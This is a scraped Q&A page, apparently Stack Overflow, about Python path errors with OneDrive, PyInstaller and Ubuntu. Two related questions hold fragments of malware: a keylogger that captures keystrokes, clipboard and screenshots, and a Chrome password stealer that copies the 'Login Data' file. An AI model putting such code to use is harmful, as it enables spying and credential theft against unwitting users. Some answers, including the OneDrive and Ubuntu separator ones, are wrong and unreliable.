Python os cannot get path to Desktop on One Drive - python

I am trying to get user's path to Desktop by using the following code:
desktop = os.path.join(os.path.join(os.environ['USERPROFILE']), 'Desktop')
d = datetime.datetime.today()
newpath = desktop + '\\New_folder' + str(d.day) + '_' + str(d.month) + '_' + str(d.year)
if not os.path.exists(newpath):
os.makedirs(newpath)
print('Desktop folder created: ' + newpath)
For most users that works, but I recently got a case of a user who has everything on One Drive and their path is: 'C:\Users\User1\OneDrive - CompanyName\Desktop'.
For these users, the script fails with this message:
FileNotFoundError: [WinError 3] The system cannot find the file specified 'C:\\Users\\User1\\Desktop\\New_folder_16_3_2020
How do I point python to their actual Desktop path, so that I can then work with that folder?

I suspect the reason for yours is that, make sure that you're accessing the directory through OneDrive instead of following the path to the desktop immediately from the user. So instead of this
C:\\Users\\User1\\Desktop\\New_folder_16_3_2020
it would be something like this
C:\\Users\\User1\\Desktop\\OneDrive\\New_folder_16_3_2020
I would recommend you to add a try/catch statement that if fails prepends/appends the oneDrive keyword to the path.

Related

How to make this file execute on another computer - how to have a changeable path?

I am trying to make a keylogger, it works on my computer but when i turn it into an executable it gives me an error "Python failed to execute script keylogger" I think its a path problem because its static and every computer have a diffrent directory, i am a beginner i could use some help.
files = ["log.txt", "info.txt", "clipboard.txt", "screenshot.png"]
dir_path=r"C:/Users/messa/Desktop/Python keylogger/"
##This function to take a screenshot---------------
def takess():
im = ImageGrab.grab()
im.save(dir_path+ "/" + "screenshot.png")
## i have multiple functions tell me if this is not enough .
My solution idea: I tried to check for this path if it does not exist i'll create it, after creating the directory i want to create the files in this directory, but it gives me a permission error " PermissionError: [Errno 13] Permission denied:"
extend = "\\"
dir_path="C:\\Users\\Default\\AppData\\Local"
Path(dir_path).mkdir(parents=True, exist_ok=True)
files = ["log.txt", "info.txt", "clipboard.txt", "screenshot.png"]
for file in files:
f= open(dir_path + extend + file, "w+")
f.close()
You can use pathlib module to get a stored location
import pathlib
dir_path = pathlib.Path().absolute()

Compiling a script in. exe that uses InstaPy

I'm writing a bot for IG using the Tkinter and InstaPy libraries. If you run the script with an interpreter, everything works correctly, but after compiling it in .exe using pyinstaller, the console returns this error after starting the browser:
FileNotFoundError: [WinError 3]The system cannot find the specified path: 'C:\Users\DANILG~1\AppData\Local\Temp_MEI12802\instapy\firefox_extension\manifest.json'.
(In the console, the error text is written in Russian, here is the translation)
At first, it seemed to me that this was due to escaping the "/" in the file path. But in addition, the user name changes in the path (it must be DanilGolovzin, while the path specifies DANILG~1). Well, if you still try to go to the desired directory, ignoring the escaping and mismatch of the user name, then _MEI71162 will not have the instapy folder.
console
The problem occures because of pyinstaller. When you build the script, in "browser.py"
ext_path = os.path.abspath(os.path.dirname(__file__) + sep + "firefox_extension")
we have ext_path like that. It works when you run it as a .py but when you build it, I think it runs in Temp folder and try to find it in that folder. So when it doesn't find, an error raise. I've solve with changing "browser.py" like that:
def create_firefox_extension():
ext_path = os.path.abspath(os.path.dirname(__file__) + sep + "firefox_extension")
# safe into assets folder
zip_file = use_assets() + sep + "extension.xpi"
files = ["manifest.json", "content.js", "arrive.js"]
with zipfile.ZipFile(zip_file, "w", zipfile.ZIP_DEFLATED, False) as zipf:
for file in files:
try:
zipf.write(ext_path + sep + file, file)
except :
new_ext_path = os.getcwd()+sep+"firefox_extension"
zipf.write(new_ext_path + sep + file, file)
return zip_file
After making these changes, I've coppied the firefox_extension to .exe folder and it runs without any problem.

python path error, [WinError 3] The system cannot find the path specified

Okay so basically in short this is a program that is made to take your chrome passwords by opening an .exe that is created in the end and sends you the passwords of that user that opened the .exe
I seem to constantly be faced with a path error that I can't figure out.
I'm not super good with python yet which could be the main problem but yeah, hope you guys can help with this :)
Here's the error code after I run my .py command in cmd
Here's the piece of code that seems to be the issue.
path = os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Login Data"
path2 = os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Login2"
ASCII_TRANS = '_'*32 + ''.join([chr(x) for x in range(32, 126)]) + '_'*130
path = path.strip()
path = urllib.parse.unquote(path)
if path.translate(ASCII_TRANS) != path: # Contains non-ascii
path = path.decode('latin-1')
path = urllib.request.url2pathname(path)
ASCII_TRANS = '_'*32 + ''.join([chr(x) for x in range(32, 126)]) + '_'*130
path2 = path2.strip()
path2 = urllib.parse.unquote(path2)
if path2.translate(ASCII_TRANS) != path2: # Contains non-ascii
path2 = path2.decode('latin-1')
path2 = urllib.request.url2pathname(path2)
try:
copyfile(path, path2)
except:
pass
It's a path problem but honestly I have no f*cking clue what it could be

Python Script Fail when folderpath contains a space

I have a python script that works well unless the folder path contains a space. How can I enable my script to still work when the folder path has a space within it.
sourceS3Bucket = event['Records'][0]['s3']['bucket']['name']
sourceS3Key = event['Records'][0]['s3']['object']['key']
sourceS3 = 's3://'+ sourceS3Bucket + '/' + sourceS3Key
destinationS3 = sourceS3
Thanks in advance.

Creating Directories in Ubuntu with python

I am trying to create directory in Ubuntu using python and save my zip files in it. My code is working fine in windows but behaving weirdly with ubuntu.
import os
import zipfile
import datetime
from os.path import expanduser
home = expanduser('~')
zip_folder = home + '\\Documents\\ziprep' # enter folder path where files are
zip_path = home + '\\Documents\\zips' #enter path for zip to be saved
global fantasy_zip
def dailyfiles(weekly_file,today):
today = str(today)
try:
os.mkdir(zip_path + today)
except OSError:
print("Creation of the directory %s failed" % today)
else:
print("Successfully created the directory %s " % today)
for folder, subfolders, files in os.walk(zip_folder):
for file in files:
if file.startswith(today) and not file.endswith('.zip') and file not in weekly_file:
print("Zipping - Filename " + file)
zip_in = zip_path + today + "\\"
fantasy_zip = zipfile.ZipFile(zip_in + file + '.zip', 'w')
fantasy_zip.write(os.path.join(folder, file),
os.path.relpath(os.path.join(folder, file), zip_folder),
compress_type=zipfile.ZIP_DEFLATED)
fantasy_zip.close()
def main():
weekday = str(datetime.datetime.today().weekday())
today = datetime.date.today().strftime('%Y%m%d')
dailyfiles(weekly_file,today)
if __name__ == '__main__':
main()
Logically it should create a folder with todays date at the path specified. But it is creating Folder in ubuntu with the whole path at the same directory where m script is.
For example it is creating folder with name like this: '/home/downloads/scripypath'
Whereas I need '20191106' at the path which is specified in script. The code is working fine in windows.
Link to current project file
in ubuntu directory structure is totally different and they use \ instead of /.
so prepare your link as ubuntu file structure.
I suggest using home + '/Documents/ziprep/'and home + '/Documents/zips/' on lines 8 and 9, respectively.
EDIT: Sorry, forgot why this should solve the problem. In Linux or Unix, directories use "/" instead of "\" (used in Windows) as directory separators.

Categories